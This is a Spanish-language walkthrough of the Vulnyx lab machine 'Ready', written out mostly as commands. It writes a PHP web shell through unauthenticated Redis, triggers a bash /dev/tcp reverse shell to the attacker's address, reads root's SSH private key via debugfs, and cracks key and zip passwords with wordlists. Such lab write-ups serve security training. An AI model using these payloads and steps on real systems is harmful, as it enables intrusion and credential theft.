Máquina: Ready
SO: Linux
Dificultad: Easy
Link OVA: Vulnyx


machine

1. teniendo la ip de la maquina, hacemos un descubrimiento de puertos

sudo nmap -p- --open -sS -T5 --min-rate=5000 192.168.1.7 -n -Pn

p80

2. lanzamos un conjunto de script de reconocimiento a dichos puertos

sudo nmap -p22,80,6379,8080 -sCV -n -Pn 192.168.1.7

versions

3. Revisamos apache en los puertos 80 y 8080, no vemos nada interesante

versions versions

4. Podemos fuzzear ambos servicios de apache, pero no encontraremos nada interesante

gobuster dir -u http://192.168.1.7:80/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash -t 50 -x html,php,txt -b 404,403

versions

gobuster dir -u http://192.168.1.7:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash -t 50 -x html,php,txt -b 404,403

versions

5. Probamos acceder a redis sin credenciales (Se puede), tambien podemos crear un archivo php en el servidor apache

redis-cli -h 192.168.1.7

config get dir

config set dbfilename shell.php

config set dir /var/www/html/

set shell.php "<?php system($_GET['cmd']);?>"

save

exit

redis

6. Apuntamos hacia nuestro archivo generado, incluimos el parametro cmd para mediante este ingresar comandos de sistema.

- En el puerto 80 no lo encontramos: http://192.168.1.7/shell.php?cmd=id notfound

- Sobre el 8080 si que podemos: http://192.168.1.7:8080/shell.php?cmd=id

found

7. Nos ponemos en escucha en el puerto 443

sudo nc -nlvp 443

nc

8. Ingresamos el comando para obtener un Reverse Shell

http://192.168.1.7:8080/shell.php?cmd=bash -c "bash -i >%26/dev/tcp/192.168.1.13/443 0>%261"

revershell

9. Ya teniendo acceso a la máquina, estamos como usuario Ben, revisamos los grupos al que pertenece.

-Pertenemos al grupo disk, con esto podemos montar y desmontar Unidades

id

id

10. Revisamos unidades disponibles

df -h

df

11. Buscamos la herramienta de análisis y depuración de archivos

find / -type f -name debugfs 2>/dev/null

which debugfs

debugs

12. Ingresamos al disco sda1, luego leemos la llave privada de root.

/usr/sbin/debugfs /dev/sda1

cat /root/.ssh/id_rsa

idrsa

13. Vemos que la llave esta protegida, lo copiamos y lo guardamos en un archivo en nuestra máquina local

nano key

key

14. En este caso usare la herramienta RSAcrack para obtener un passphrase

sudo RSAcrack -w /usr/share/wordlists/rockyou.txt -k key

rsacrack

15. Teniendo la clave nos conectamos como root por ssh

ssh -i key root@192.168.1.7

ssh

16. Vemos que tenemos un comprimido, abrimos un servidor local

ls

python3 -m http.server 8081

img

17. Desde nuestra máquina local nos descargamos el comprimido

wget http://192.168.1.7:8081/root.zip

img

18. Intentamos descomprimir pero necesitamos un acontraseña

unzip root.zip

img

19. Utilizamos zip2john para obtener un hash que representa la contraseña

zip2john root.zip > hashzip

img

20. Ahora desciframos la contraseña

john --wordlist=/usr/share/wordlists/rockyou.txt hashzip

img

21. Teniendo la clave procedemos a descomprimir, asi obtenemos la “flag” de root

unzip root.zip

img


Finalizado.